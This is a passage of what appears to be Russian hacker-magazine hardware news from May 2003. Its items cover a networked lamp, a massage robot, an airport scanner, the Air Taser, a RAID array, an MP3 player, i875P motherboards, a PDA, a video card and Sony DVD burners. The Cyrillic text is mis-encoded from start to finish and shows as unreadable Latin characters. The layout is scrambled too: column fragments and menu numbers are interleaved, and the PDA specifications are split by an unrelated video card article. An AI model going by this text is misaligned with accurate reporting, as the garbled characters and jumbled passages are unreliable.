ïîêàæåò íîâîñòè ïî òåëåêó (îí òàì òîæå åñòü). Íàïîìíèò, ÷òî ìîëîêî ñêîðî ïðèäåòñÿ âûêèíóòü, à êîëáàñà íå èñïîðòèòñÿ åùå íåäåëþ. Ìèêðîâîëíîâêà<br />

ïðåäëîæèò íîâîå áëþäî, cêà÷àåò åå â ïàìÿòü è ââåäåò â àâòîìàòè÷åñêóþ ïðîãðàììó. Âñåé òåõíèêîé ìîæíî óïðàâëÿòü öåíòðàëèçîâàííî - ñ ñåíñîðíîãî ýêðàíà<br />

òîãî æå õîëîäèëüíèêà. Óìíûé äîì ñàì ïðîâîäèò ñâîþ äèàãíîñòèêó è â ñëó÷àå ÷åãî - ñìîæåò ïîäàòü ñèãíàë áåäñòâèÿ.<br />

5 Þíèêñîèä 6 X-Ñòèëü 7 Êîäèíã 8 Þíèòû 9 Quit> 5


HiTech_News<br />

Àëåêñ Öåëûõ (News@real.xakep.ru)<br />

ÑÅÒÅÂÀß ËÀÌÏÀ<br />

Matsushita Electric âûïóñòèëà ïåðâóþ íàñòîëüíóþ ëàìïó, ïîäêëþ÷àåìóþ ê èíòåðíåòó ïî<br />

ïðîòîêîëó IPv6. Â 27-âàòòíóþ ëàìïó äíåâíîãî ñâåòà âñòðîåí êîììóíèêàöèîííûé ìîäóëü EMIT<br />

è ñòàíäàðòíûé ðàçúåì äëÿ ïîäêëþ÷åíèÿ ê ëîêàëüíîé ñåòè. Ïðèñâîåíèå àäðåñà IPv6 îñóùåñòâëÿåòñÿ<br />

øëþçîì Home eXchange.  èòîãå êîìïüþòåð àâòîìàòè÷åñêè îïðåäåëÿåò ïðèñóòñòâèå<br />

ëàìïû â ñåòè è îñóùåñòâëÿåò êîíòðîëü íàä íåé. Èíòåðôåéñ ïðîãðàììû ïîçâîëÿåò íà ðàññòîÿíèè<br />

âêëþ÷àòü è âûêëþ÷àòü óñòðîéñòâî, çàäàâàòü âðåìÿ è ïåðèîäè÷íîñòü èñïîëíåíèÿ êîìàíä.<br />

ÆÅËÅÇÍÛÉ ÌÀÑÑÀÆÈÑÒ<br />

Ãîëëàíäñêèå àðò-õóäîæíèêè Ýðâèí Äðèññåíñ è Ìàðèÿ Ôåðøòàïïåí ðàçðàáîòàëè ïðîòîòèï ðîáîòà-ìàññàæèñòà.<br />

Ïðîèçâîäÿ ëåãêèå ïîùèïûâàíèÿ êîæè, ìèíèàòþðíîå óñòðîéñòâî ïîìîãàåò ÷åëîâåêó<br />

ðàññëàáèòüñÿ. Âñå ýòî â ïîëíîì óåäèíåíèè. Àâòîíîìíûé ðîáîò Tickle çàêëþ÷åí â àëþìèíèåâûé êîðïóñ<br />

è âåñèò âñåãî 165 ãðàììîâ. Áëàãîäàðÿ ñåíñîðàì êðåíà îí óâåðåííî ïåðåìåùàåòñÿ ïî òåëó ñî<br />

ñêîðîñòüþ 1,2 ñì/ñåê, ïðè ýòîì îáõîäèò ñòîðîíîé êðóòûå óêëîíû. Âûñòóïû ñèëèêîíîâûõ ãóñåíèö<br />

ïðîèçâîäÿò ïðèÿòíûé àêóïóíêòóðíûé ìàññàæ. Â ðàçâèòèå èäåè àâòîðû ïëàíèðóþò ñîçäàòü öåëóþ<br />

ìàññàæíóþ óñòàíîâêó Tickle Salon.  ýòîì ñëó÷àå ïî ëåæàùåìó íà êóøåòêå ÷åëîâåêó áóäåò ïóòåøåñòâîâàòü<br />

êèñòî÷êà, ñâèñàþùàÿ ñâåðõó íà ÷åòûðåõ íèòÿõ-êàíàòèêàõ. Äàííûå îò ñåíñîðîâ íàïðÿæåíèÿ<br />

âîëîñêîâ êèñòè áóäóò èñïîëüçîâàíû äëÿ ñîçäàíèÿ âèðòóàëüíîé òðåõìåðíîé êàðòû ÷åëîâå÷åñêîãî òåëà.<br />

Ïîñòåïåííî ïåðåìåùåíèÿ êèñòî÷êè ñòàíîâÿòñÿ âñå áîëåå óâåðåííûìè. Íà êàðòå æå ìîæíî îòìåòèòü<br />

ñàìûå ÷óâñòâèòåëüíûå ìåñòà, ìàññàæ êîòîðûõ ïðèíîñèò ìàêñèìàëüíîå óäîâîëüñòâèå.<br />

ÍÅÏÎÒÎÏËßÅÌÛÉ ÌÎÁÈËÜÍÈÊ<br />

Êîìïàíèÿ Ericsson çàïàòåíòîâàëà êîíñòðóêöèþ íåïîòîïëÿåìîãî<br />

ìîáèëüíèêà. Ìîäóëü-ïîïëàâîê êðåïèòñÿ ïîâåðõ àêêóìóëÿòîðà íà<br />

êðûøêå êîðïóñà, â ðåçóëüòàòå ÷åãî àïïàðàò îáðåòàåò ïëàâó÷åñòü. Ïðè<br />

íåîáõîäèìîñòè ãðîìîçäêèé ìîäóëü ìîæíî ñíÿòü.<br />

ÁÅÑÊÐÎÂÍÛÉ ÀÍÀËÈÇ<br />

ßïîíñêèå ó÷åíûå ðàçðàáîòàëè ïðèáîð äëÿ áåñêîíòàêòíîãî<br />

àíàëèçà êðîâè. Äëÿ îïðåäåëåíèÿ óðîâíÿ ãåìîãëîáèíà è äðóãèõ<br />

ïîêàçàòåëåé êðîâè äîñòàòî÷íî ïîäíåñòè äàò÷èê ê âåíàì, ðàñïîëîæåííûì<br />

íà ëàäîíÿõ ðóê. Ðàíüøå ýòî ìîæíî áûëî ñäåëàòü<br />

òîëüêî ïðè áîëåçíåííîé ïðîöåäóðå çàáîðà êðîâè èç ïàëüöà èëè<br />

âåíû. Íîâèíêà ïîñòóïèò â ïðîäàæó óæå â êîíöå ýòîãî ãîäà.<br />

ÃÎËÀß ÁÅÇÎÏÀÑÍÎÑÒÜ<br />

Àìåðèêàíñêàÿ êîìïàíèÿ SafeView (www.safe-view.com) ïðåäñòàâèëà ãîëîãðàôè÷åñêèé ñêàíåð äëÿ ñëóæá áåçîïàñíîñòè<br />

àýðîïîðòîâ. Óñòðîéñòâî ðàáîòàåò ñ ðàäèîâîëíàìè ìèëëèìåòðîâîãî äèàïàçîíà. Âåðòèêàëüíûå ñêàíåðû-èçëó÷àòåëè<br />

âìîíòèðîâàíû â ñòàíäàðòíóþ àðêó áåçîïàñíîñòè. Ïàññàæèðà ïðîñÿò íà 1-2 ñåêóíäû çàäåðæàòüñÿ<br />

â çîíå ñêàíèðîâàíèÿ. Ïîñëå ýòîãî êîìïüþòåðíàÿ ïðîãðàììà àíàëèçèðóåò òðåõìåðíóþ ãîëîãðàììó è<br />

âûäåëÿåò íà ýêðàíå ïîòåíöèàëüíî íåáåçîïàñíûå ïðåäìåòû. Ïðè ýòîì íå îñòàþòñÿ áåç âíèìàíèÿ íå òîëüêî<br />

ìåòàëë, íî è ýêñòðàâàãàíòíîå îðóæèå èç êåðàìèêè, ïëàñòèêîâàÿ âçðûâ÷àòêà, ïîäîçðèòåëüíûå æèäêîñòè. Òîëüêî<br />

íåäàâíî áûëà ðåøåíà ïðîáëåìà íðàâñòâåííîãî õàðàêòåðà. Äàáû óâàæèòü àìáèöèè ïàññàæèðîâ è íå òðàâìèðîâàòü<br />

ïñèõèêó ñîòðóäíèêîâ ñëóæáû áåçîïàñíîñòè, êîìïüþòåðíàÿ ïðîãðàììà áóäåò ñêðûâàòü ðåàëüíîå ÷åëîâå÷åñêîå<br />

òåëî çà ìàíåêåíîïîäîáíûì ñóùåñòâîì áåç ïðèíàäëåæíîñòè ê ïîëó. Êîììåð÷åñêèå ïîñòàâêè íà÷íóòñÿ<br />

â 2004 ãîäó. Îðèåíòèðîâî÷íàÿ ñòîèìîñòü îäíîé òàêîé óñòàíîâêè - 100 òûñÿ÷ äîëëàðîâ.<br />

ÏÎÄ ÍÀÏÐßÆÅÍÈÅÌ<br />

Êîìïàíèÿ Taser International (www.taser.com) íà÷àëà îòêðûòóþ ïðîäàæó ýëåêòðîøîêîâûõ ïèñòîëåòîâ. Óñòðîéñòâî<br />

Air Taser îñíàùåíî ñèñòåìîé ëàçåðíîãî íàâåäåíèÿ è èñïîëüçóåò äëÿ âûñòðåëîâ ñæàòûé âîçäóõ. Íà ñêîðîñòè 55<br />

ìåòðîâ â ñåêóíäó èç ñòâîëà âûëåòàþò äâà îñòðûõ äðîòèêà, ñîåäèíåííûõ ñ êîðïóñîì ïðî÷íûìè òîíêèìè ïðîâîäêàìè.<br />

Ïîðàæåíèå ïðîòèâíèêà ïðîèñõîäèò íà ðàññòîÿíèè îò 4,5 äî 6,5 ìåòðîâ. Ðàçðÿä íàïðÿæåíèåì îêîëî 50 òûñÿ÷<br />

âîëüò è ñèëîé òîêà 18-26 Âò ñïîñîáåí ïðîáèòü ñëîé îäåæäû òîëùèíîé äî 38 ìèëëèìåòðîâ è íà âðåìÿ ïàðàëèçîâàòü<br />

ìûøå÷íóþ ñèñòåìó ïðîòèâíèêà. Íà òåëå îñòàþòñÿ äâå õàðàêòåðíûå îòìåòèíû. Air Taser âûïóñêàþòñÿ â ìîäåëÿõ<br />

ñ îäíèì è äâóìÿ êàðòðèäæàìè. Ïåðåçàðÿäêà ïèñòîëåòà çàíèìàåò íåñêîëüêî ñåêóíä. Âî âðåìÿ âûñòðåëà èç<br />

ñòâîëà âûëåòàåò êîíôåòòè ñ ñåðèéíûì íîìåðîì îðóæèÿ, ïðè íåîáõîäèìîñòè ïî ýòèì äàííûì ìîæíî íàéòè âëàäåëüöà<br />

ïèñòîëåòà. Óñòðîéñòâî ðàáîòàåò îò äâóõ ïàëü÷èêîâûõ áàòàðåé. Öåíà â ìàãàçèíå - îò 120 äî 600 äîëëàðîâ.<br />

ÏÐÎÒÈÂ ÑÎËÍÖÀ<br />

Sharp ïðåäñòàâèëà ôîòîàïïàðàò,<br />

êîòîðûé ïîçâîëÿåò âåñòè ñúåìêó ïðîòèâ<br />

ñîëíöà áåç èñïîëüçîâàíèÿ ñïåöèàëüíîé<br />

áëåíäû. Â îñíîâå åãî ðàáîòû<br />

ëåæèò ìîùíûé ñâåòî÷óâñòâèòåëüíûé<br />

ñåíñîð, ðàçðàáîòàííûé èíæåíåðàìè<br />

êîìïàíèè äëÿ öèôðîâûõ ôîòî- è âèäåîêàìåð.<br />

Çàÿâëåííàÿ ÷óâñòâèòåëüíîñòü ê<br />

êîíòðàñòó ñâåòà è òåíè ïðåâûøàåò<br />

ñðåäíèå ïîêàçàòåëè â òûñÿ÷è ðàç. Òåõíîëîãèÿ<br />

ïîçâîëÿåò çàïå÷àòëåòü îáúåêòû,<br />

ñòåïåíü îñâåùåííîñòè êîòîðûõ äîñòèãàåò<br />

100 òûñÿ÷ ëþêñ. Íîâèíêà íàéäåò<br />

ïðèìåíåíèå íà âûåçäå èç òóííåëåé,<br />

ãäå âîäèòåëè ÷àñòî òåðÿþò êîíòðîëü<br />

èç-çà ÿðêîãî ñâåòà. Ïðåäïîëîæèòåëüíî,<br />

èñïîëüçîâàíèå íîâîãî ñåíñîðà âûçîâåò<br />

óäîðîæàíèå àïïàðàòóðû â 2-3 ðàçà.<br />

6 Íüþñû<br />

1 Ôåððóì<br />

2 Inside 3 PC_Zone 4<br />

Âçëîì


HardNews<br />

Nikitos (nikitos@real.xakep.ru)<br />

 íîìåðå:<br />

Íåõèëûé RAID<br />

Êðàñàâåö îò Philips<br />

Íîâûå ìàìû íà i875p<br />

DVD-ðåçàêè îò Sony<br />

ìàé<br />

2003<br />

¹53<br />

ÁÅÑÏËÀÒÍÀß ÅÆÅÌÅÑÅ×ÍÀß ÃÀÇÅÒÀ<br />

N E W S<br />

Íåõèëûé RAID<br />

Êîìïàíèÿ Promise Technology íà÷àëà<br />

ñåðèéíûé âûïóñê RAID-ìàññèâîâ<br />

UltraTrak RM15000 ATA RAID, ðàññ÷èòàííûõ,<br />

ïðåæäå âñåãî, íà ñåðüåçíîãî<br />

êîðïîðàòèâíîãî ïîêóïàòåëÿ, íóæäàþùåãîñÿ<br />

â õðàíåíèè áîëüøèõ îáúåìîâ<br />

èíôîðìàöèè è îðãàíèçàöèè áûñòðîãî<br />

äîñòóïà ê íåé. Íîâèíêà ìîæåò îáúåäèíÿòü<br />

äî ïÿòíàäöàòè Ultra ATA-âèí÷åñòåðîâ,<br />

îáåñïå÷èâàÿ ñóììàðíóþ åìêîñòü<br />

ñèñòåìû äî 3.8 Òá.<br />

Òàêæå óñòðîéñòâî îáîðóäîâàíî ñòàíäàðòíûì<br />

èíòåðôåéñîì Ultra160 LVD; íåñêîëüêî<br />

òàêèõ äåâàéñîâ ìîãóò áûòü çàïðîñòî<br />

îáúåäèíåíû â îäèí ëîãè÷åñêèé<br />

ìàññèâ äàííûõ.<br />

Óñòðîéñòâî ïîääåðæèâàåò ðåæèìû RAID<br />

óðîâíåé 0, 1, 0+1, 3, 5, 30, 50, äèñêè ñ<br />

èíòåðôåéñîì Ultra ATA 133/100, òàêæå<br />

ïîääåðæèâàåòñÿ ãîðÿ÷àÿ çàìåíà ëþáîãî<br />

èç ïÿòíàäöàòè íàêîïèòåëåé.<br />

Óñòðîéñòâî ïðåäñòàâëÿåò ñîáîé<br />

îáû÷íûé æåëåçíûé ÿùèê âûñîòîé 3U,<br />

êîòîðûé ìîæåò áûòü óñòàíîâëåí â<br />

ñòàíäàðòíóþ ñåðâåðíóþ ñòîéêó. Óïðàâëåíèå<br />

äåâàéñîì ìîæåò îñóùåñòâëÿòüñÿ<br />

êàê ÷åðåç ÆÊ-äèñïëåé, ðàçìåùåííûé<br />

íåïîñðåäñòâåííî íà êîðïóñå,<br />

òàê è ïî ñåòè – ÷åðåç êîìàíäíóþ<br />

ñòðîêó ïðè ïîìîùè CLI, ëèáî – â<br />

ãóåâîì âèçóàëèçèðîâàííîì ðåæèìå -<br />

÷åðåç Web-èíòåðôåéñ ñ ïîìîùüþ<br />

ïðîãðàììû Promise Array Management<br />

(WebPAM). Ïîñòàâêè óñòðîéñòâà óæå<br />

íà÷àëèñü, îðèåíòèðîâî÷íàÿ öåíà ýòîãî<br />

ìîíñòðà – îêîëî $5.5k.<br />

Êðàñàâåö îò<br />

Philips<br />

Philips âûïóñòèëà íîâûé mp3-ïëååð íà<br />

áàçå 15-ãèãîâîãî âèí÷åñòåðà - Philips<br />

HDD100 Awe. Ïðåæäå âñåãî ïðèâëåêàåò<br />

âíåøíèé âèä óñòðîéñòâà – îíî âûïîëíåíî<br />

â ñòèëüíîì áëåñòÿùåì êîðïóñå èç<br />

ìàãíèåâîãî ñïëàâà è óäàðîñòîéêîãî òîíèðîâàííîãî<br />

ñòåêëà. Ýòîò ïëååð ìîæåò<br />

ñîñòàâèòü ñåðüåçíóþ êîíêóðåíöèþ iPod<br />

îò Apple, âûïóùåííîìó, êñòàòè, öåëûõ<br />

äâà ãîäà íàçàä è äî ñèõ ïîð çàñëóæåííî<br />

ñ÷èòàþùåìóñÿ “ñàìûì-ñàìûì” ñðåäè<br />

jukebox’îâ. Íîâèíêà îò Philips, âïðî-<br />

÷åì, èìååò ìàññó ïðåèìóùåñòâ ïåðåä<br />

iPod. Ïðåæäå âñåãî, äëÿ âçàèìîäåéñòâèÿ<br />

ñ PC çäåñü èñïîëüçóåòñÿ áîëåå<br />

ïîïóëÿðíàÿ è, êàê óòâåðæäàþò ñïåöèôèêàöèè,<br />

ïðîèçâîäèòåëüíàÿ øèíà USB<br />

2.0, èíæåíåðû Apple æå èñïîëüçîâàëè<br />

FireWire (âïðî÷åì, äâà ãîäà íàçàä USB<br />

2.0 è â ïðèðîäå íå áûëî).<br />

Òàêæå íîâèíêà îáëàäàåò âñòðîåííûì<br />

ìèêðîôîíîì, ÷òî ïîçâîëÿåò èñïîëüçîâàòü<br />

ïëååð â êà÷åñòâå äèêòîôîíà<br />

(ïðåäñòàâëÿåøü, ñêîëüêî ìîæíî çâóêà<br />

çàïèñàòü – íà 15 Ãá!)<br />

Ñðåäè äðóãèõ äîñòîèíñòâ Awe - ïÿòèêàíàëüíûé<br />

ýêâàëàéçåð ñ ÷åòûðüìÿ<br />

óñòàíîâêàìè, êîòîðûå ïîëüçîâàòåëü<br />

ìîæåò æåñòêî ïðèâÿçàòü ê ìóçûêàëüíûì<br />

æàíðàì, óêàçàííûì â ID3-òåãàõ<br />

âîñïðîèçâîäèìûõ êîìïîçèöèé. Ýòî<br />

î÷åíü óäîáíî, ïîòîìó êàê îòïàäàåò<br />

íåîáõîäèìîñòü âðó÷íóþ ïîäêðó÷èâàòü<br />

ýêâàëàéçåð ïî ìåðå èçìåíåíèÿ<br />

íàñòðîåíèÿ è, ñîîòâåòñòâåííî, ñëóøàåìîé<br />

ìóçûêè.<br />

Óïðàâëåíèå óñòðîéñòâîì îñóùåñòâëÿåòñÿ<br />

ñ ïîìîùüþ ïðîãðàììèðóåìîãî<br />

ïîëüçîâàòåëüñêîãî èíòåðôåéñà èëè<br />

ïðîâîäíîãî ïóëüòèêà, êîòîðûé, êñòàòè,<br />

òîæå êðàñèâûé :).<br />

Íîâûå ìàìû<br />

íà i875p<br />

Intel âûïóñòèëà íîâûé ÷èïñåò i875P<br />

(Canterwood), è âñëåä çà îôèöèàëüíûìè<br />

íîâîñòÿìè îò intel ñëåäóþò àíîíñû<br />

ìàòåðèíñêèõ ïëàò íà ýòîì ÷èïñåòå.<br />

Ïåðâîé áûëà Abit, ïðåäñòàâèâøàÿ äâå<br />

íîâûõ ðàçðàáîòêè - IC7 è IC7-G, îáå<br />

ôóíêöèîíèðóþò íà ÷èïñåòå i875P è îòëè÷àþòñÿ<br />

äðóã îò äðóãà ñåòåâûìè âîçìîæíîñòÿìè:<br />

áîëåå äîðîãàÿ “G” âåðñèÿ<br />

èìååò èíòåðôåéñ S/PDIF è ñåòåâîé<br />

àäàïòåð Intel PRO Gigabit LAN.<br />

Ïëàòà ïîçèöèîíèðóåòñÿ ðàçðàáîò÷èêàìè<br />

êàê ñóïåð-ïóïåð ïëàòôîðìà, “ñäåëàííàÿ<br />

îâåðêëîêåðàìè äëÿ îâåðêëîêåðîâ”.<br />

Ïî óòâåðæäåíèþ Abit, ïëàòà îáëàäàåò<br />

òðàäèöèîííî áîãàòûì íàáîðîì<br />

äëÿ ðàçãîíà è ïîääåðæèâàåò âñå ôèðìåííûå<br />

òåõíîëîãèè (SoftMenu,<br />

FanEQTM, Serillel 2, TweakGuard è<br />

FlashMenu), êðîìå òîãî, ðàñøèðåíû<br />

âîçìîæíîñòè ïî ðàçãîíó ÷àñòîòû ñèñòåìíîé<br />

øèíû âïëîòü äî 1 ÃÃö.<br />

IC7-G è IC7 ðàáîòàþò ñ ïðîöåññîðàìè<br />

Intel Pentium 4, âêëþ÷àÿ ìîäåëè ñ òåõíîëîãèåé<br />

Hyper-Threading è ÷àñòîòîé<br />

ñèñòåìíîé øèíû 800 ÌÃö; ïîääåðæèâàåòñÿ<br />

äâóõêàíàëüíàÿ ïàìÿòü DDR400<br />

ñ ECC, ìàêñèìàëüíûé îáúåì êîòîðîé<br />

ðàâíÿåòñÿ ÷åòûðåì ãèãàáàéòàì. Òàêæå<br />

ýòè ìàòåðè îáîðóäîâàíû èíòåðôåéñàìè<br />

USB 2.0 è FireWire, èìåþòñÿ ÷åòûðå<br />

êàíàëà Serial ATA.<br />

Âñêîðå ïîñëå àíîíñà Abit, Gigabyte<br />

Technology ïðåäñòàâèëà íîâîå ñåìåéñòâî<br />

ìàòåðåé íà ïðîäâèíóòîì ÷èïñåòå -<br />

P4 Titan 875P. Âîò îñíîâíûå ñïåöèôèêàöèè<br />

ýòèõ ìàòåðèíñêèõ ïëàò:<br />

Ïîääåðæêà ïðîöåññîðîâ Intel<br />

Pentium 4 ñ òåõíîëîãèåé Hyper-<br />

Threading è FSB äî 800 ÌÃö<br />

×èïñåò Intel 875P<br />

Ïîääåðæêà äâóõêàíàëüíîé ïàìÿòè<br />

DDR400 ñ ECC<br />

Øèíà AGP 8X<br />

Ñèñòåìà äâîéíîãî ïèòàíèÿ D.P.S 2<br />

(Dual Power System 2)<br />

Èíòåãðèðîâàííûé êîíòðîëëåð<br />

Adaptec Ultra320 SCSI (òîëüêî â âåðñèè<br />

GA-8KNXP Ultra)<br />

Ñåòåâîé àäàïòåð Intel PRO/1000 CT<br />

(Intel 82547EI)<br />

Èíòåðôåéñ Serial ATA<br />

Èíòåðôåéñ IEEE 1394 (îòñóòñòâóåò â<br />

ïëàòå GA-8KNXP Ultra)<br />

Dual RAID (SATA RAID + IDE RAID)<br />

Ñèñòåìû Dual Cooling System,<br />

DualBIOS<br />

Âîñåìü ïîðòîâ USB 2.0<br />

5.1 AC97-çâóê<br />

Ïÿòü ñëîòîâ PCI 2.2<br />

Íà äàííûé ìîìåíò ñåìåéñòâî P4 Titan<br />

875P âêëþ÷àåò â ñåáÿ òðè ïëàòû: GA-<br />

8KNXP, GA-8KNXP Ultra è GA-8IK1100.<br />

Ïåðâàÿ îáëàäàåò 1000 mbps ñåòåâûì<br />

àäàïòåðîì, Ultra âåðñèÿ âäîáàâîê ïîääåðæèâàåò<br />

èíòåðôåéñ Ultra320 SCSI, à<br />

ïîñëåäíÿÿ – ñàìàÿ ìàëîôóíêöèîíàëüíàÿ<br />

– íå èìååò íè ñåòåâîãî àäàïòåðà,<br />

íè ïîääåðæêè Ultra320 SCSI, D.P.S. 2,<br />

Dual RAID, Dual Cooling System.<br />

Òàêæå êîìïàíèÿ Chaintech Computers<br />

âûïóñòèëà ìàìó 9CJS Zenith, ðàáîòàþùóþ<br />

íà ÷èïñåòíîé ñâÿçêå i875p + ICH5R.<br />

Âîò îñíîâíûå ïàðàìåòðû íîâîé ïëàòû:<br />

Ôîðìôàêòîð: ATX<br />

Ïàìÿòü: äî 4 Ãá ïàìÿòè Dual-DDR<br />

266/333/400 (â ò.÷. ñ ECC)<br />

AGP: 8X<br />

Ïÿòü ñëîòîâ PCI 2.2<br />

Ñëîò CMR (CHAINTECH Multimedia<br />

Riser)<br />

Çâóê: 7.1, VIA ENVY24PT<br />

S-ATA RAID: ATA150, RAID óðîâíÿ 0<br />

Dual-LAN: ïîääåðæêà 10/100Mb<br />

Fast Ethernet (RTL8101L) è GbE LAN<br />

(Intel GbE 82547)<br />

USB: ïîääåðæêà 8 ïîðòîâ USB 2.0<br />

IEEE1394: 100/200/400Mbps (VIA<br />

VT6306)<br />

ÏÎ â êîìïëåêòå: Driver CD (WINDVD<br />

7.1-CH included), ValuePack 2003<br />

Êîìïëåêòàöèÿ óñòðîéñòâà òðàäèöèîííî<br />

áîãàòàÿ: ìîäóëü Chaintech CBOX3, óñòàíàâëèâàþùèéñÿ<br />

â 5.25–äþéìîâûé<br />

îòñåê, ïîçâîëÿåò âûâåñòè íà ïåðåäíþþ<br />

ïàíåëü êîìïà äâà ïîðòà USB, çâóêîâûå<br />

1 2 3 4<br />

8 Íüþñû Ôåððóì Inside PC_Zone Âçëîì


ðàçúåìû, “øåñòü â îäíîì” êàðòîâîä<br />

(ïîääåðæèâàþòñÿ êàðòû Smart Media,<br />

Memory Stick, Compact Flash, MultiMedia<br />

Card, Secure Digital, IBM Micro Drive),<br />

ïðèåìíèê äëÿ ïóëüòèêà è ìåãà-øòóêó -<br />

äèñïëåé DigiDoc, íà êîòîðîì ìîæåò<br />

îòîáðàæàòüñÿ ìàññà ñëóæåáíîé èíôîðìàöèè,<br />

â ò.÷. òåìïåðàòóðà ïðîöåññîðà<br />

– ýòî, íàâåðíîå, àêòóàëüíî äëÿ îâåðêëîêåðîâ<br />

:). Â êîìïëåêò òàêæå âõîäèò<br />

õèòðûé ïóëüòèê ñ ïîääåðæêîé ôóíêöèé<br />

ìûøè è îáëàäàþùèé êó÷åé ãîðÿ÷èõ<br />

êëàâèø äëÿ ðàáîòû ñ áðàóçåðîì, ýëåêòðîííîé<br />

ïî÷òîé, DVD-ïðîèãðûâàòåëåì,<br />

çàïóñêîì ïðèëîæåíèé è ò.ï. Êàðòà<br />

Chaintech Multimedia Card, óñòàíàâëèâàåìàÿ<br />

â CMR (Chaintech Multimedia Riser)<br />

ñëîò, ðàñøèðÿåò ìóëüòèìåäèéíûå âîçìîæíîñòè<br />

ñèñòåìû, âåäü íà íåé ïðèñóòñòâóþò<br />

äâà ïîðòà IEEE 1394, çâóêîâûå<br />

ðàçúåìû âõîäà/âûõîäà äëÿ ïîääåðæêè<br />

7.1 çâóêà è SPDIF ðàçúåì äëÿ âûâîäà<br />

öèôðîâîãî àóäèî. Ïîìèìî âñåãî ýòîãî â<br />

êîìïëåêò ïîñòàâêè âõîäèò íàáîð ñèìïîòíûõ<br />

øëåéôèêîâ è îòâåðòêà «4 â îäíîì».<br />

Íåñëàáî :)<br />

ÊÏÊ äëÿ<br />

ëþáèòåëåé<br />

ïåðöîâêè<br />

Ñîâñåì íåäàâíî óêðàèíñêîå ÍÏÎ “Âåðñèÿ”<br />

ïðåäñòàâèëî ñâîþ ïåðâóþ ðàçðàáîòêó<br />

íà ðûíêå êàðìàííûõ êîìïüþòåðîâ<br />

– Posket PC Vesa. Âîò îñíîâíûå ñïåöèôèêàöèè<br />

íîâèíêè:<br />

Ìîäåðñêàÿ<br />

âèäåîêàðòî÷êà<br />

Íà äíÿõ êîìïàíèÿ Hercules îïóáëèêîâàëà<br />

îôèöèàëüíûé àíîíñ íîâîé ãðàôè÷åñêîé<br />

ïëàòû 3D Prophet 9800 Pro. Êàðòî÷êà ðàáîòàåò<br />

íà ÷èïñåòå RADEON 9800 PRO,<br />

îáëàäàåò 128 ìåãàáàéòàìè ïàìÿòè DDR,<br />

îáìåí äàííûìè ñ êîòîðîé ïðîèçâîäèòñÿ<br />

ïî 256-ðàçðÿäíîé øèíå, óñòðîéñòâî òàêæå<br />

èìååò öèôðîâîé DVI è ÒÂ âûõîäû.<br />

Îñîáîãî âíèìàíèÿ çàñëóæèâàåò âíåøíèé<br />

âèä êàðòî÷êè – îíà âûïîëíåíà íà<br />

ñèíåé ïå÷àòíîé ïëàòå è îáëàäàåò äîâîëüíî<br />

èçîùðåííîé ñèñòåìîé îõëàæäåíèÿ.<br />

Íà ÷èïå óñòàíîâëåí ãëàâíûé âåíòèëÿòîð,<br />

êîòîðûé ïîäñâå÷èâàåòñÿ ãîëóáûìè<br />

ñâåòîäèîäàìè, è ïðè ýòîì åùå íåñëàáî<br />

øóìèò – óðîâåíü ñîçäàâàåìîãî<br />

çâóêà ðàâíÿåòñÿ 28 äåöèáåëàì.<br />

Ðàäèàòîðû òàêæå ðàñïîëàãàþòñÿ íà îáðàòíîé<br />

ñòîðîíå ïå÷àòíîé ïëàòû, íà ìèêðîñõåìàõ<br />

ïàìÿòè è ñòàáèëèçàòîðàõ íàïðÿæåíèÿ.<br />

Íîìèíàëüíûå ÷àñòîòû ðàáîòû ÷èïà<br />

è ïàìÿòè ñîñòàâëÿþò ñîîòâåòñòâåííî<br />

380 è 340 ÌÃö.  ðîçíè÷íîé ïðîäàæå, íà-<br />

÷àëî êîòîðîé, ê ñëîâó, íàìå÷åíî íà êîíåö<br />

àïðåëÿ, óñòðîéñòâî áóäåò êîìïëåêòîâàòüñÿ<br />

ãàìåñîé Rainbow Six Raven Shield.<br />

* Ïðîöåññîð: 200 ÌÃö Intel XScale<br />

* Ïàìÿòü: 32 Ìá ôëåø, 36 Ìá ÎÇÓ<br />

* Äèñïëåé: 3,5 äþéìà, 240x320, 65Ê<br />

öâåòîâ, transflective ïîâûøåííîé ÿðêîñòè<br />

* Ñëîòû ðàñøèðåíèÿ: Secure<br />

Digital/MMC ñ âîçìîæíîñòüþ ïîäêëþ÷åíèÿ<br />

ïåðèôåðèè<br />

* Ðàçìåðû: 121,7õ76,8õ12,5 ìì<br />

* Âåñ: 120 ãðàììîâ<br />

* Èñòî÷íèê ïèòàíèÿ: Li-Ion áàòàðåÿ, 900<br />

ìÀ*÷<br />

* Ïðîãðàììíîå îáåñïå÷åíèå:<br />

Microsoft Pocket PC 2002, ñ âîçìîæíîñòüþ<br />

ïåðåêëþ÷åíèÿ ÿçûêà èíòåðôåéñà<br />

(óêð./àíãë.), MS Pocket PC<br />

Applications, Pocket Word, Pocket<br />

Excel, Pocket Outlook, Internet Explorer,<br />

Media Player, Ïðîâîäíèê, Çàìåòêè,<br />

Êîíòàêòû, Êàëåíäàðü. Òàêæå ñ ìàëûøêîé<br />

ïîñòàâëÿåòñÿ ìíîæåñòâî èãð è<br />

ïðî÷åãî ïîëåçíîãî ñîôòà.<br />

 ñåðèéíûé âûïóñê ÊÏÊ ïîñòóïàåò ëåòîì,<br />

ðîçíè÷íàÿ öåíà îæèäàåòñÿ îêîëî<br />

$300.<br />

5 6<br />

Þíèêñîèä<br />

DVD-ðåçàêè<br />

îò Sony<br />

Sony ðàñøèðèëà ëèíåéêó ñâîèõ dvd-rw<br />

ïðèâîäîâ, âûïóñòèâ äîñòîéíóþ ñìåíó<br />

çíàìåíèòîìó DRU-500A. Ýòî äâà äåâàéñà<br />

DRU-510A è DRU-510UL, êîòîðûå<br />

îòëè÷àþòñÿ îò ïðåäøåñòâåííèêà<br />

óâåëè÷åííîé ñêîðîñòüþ çàïèñè êàê<br />

dvd-(r)w, òàê è îáû÷íûõ cd-(r)w áîëâàíîê.<br />

Ïåðâûé ïðèâîä óñòàíàâëèâàåòñÿ<br />

âíóòðè ñèñòåìíîãî áëîêà è âçàèìîäåéñòâóåò<br />

ñ PC ÷åðåç èíòåðôåéñ<br />

ATAPI. Âòîðîé ðåçàê – âíåøíèé, ïîäêëþ÷àåòñÿ<br />

÷åðåç USB 2.0 (ìàêñèìàëüíàÿ<br />

ñêîðîñòü ïåðåäà÷è äàííûõ – 480<br />

Ìáèò/ñåê) èëè i.LINK.<br />

Óñòðîéñòâà ïîñòàâëÿþòñÿ ñ ïîëíûì<br />

êîìïëåêòîì íåîáõîäèìîãî ÏÎ, ÷òî<br />

ïîçâîëÿåò ñðàçó ïîñëå ïîêóïêè ïðèâîäà<br />

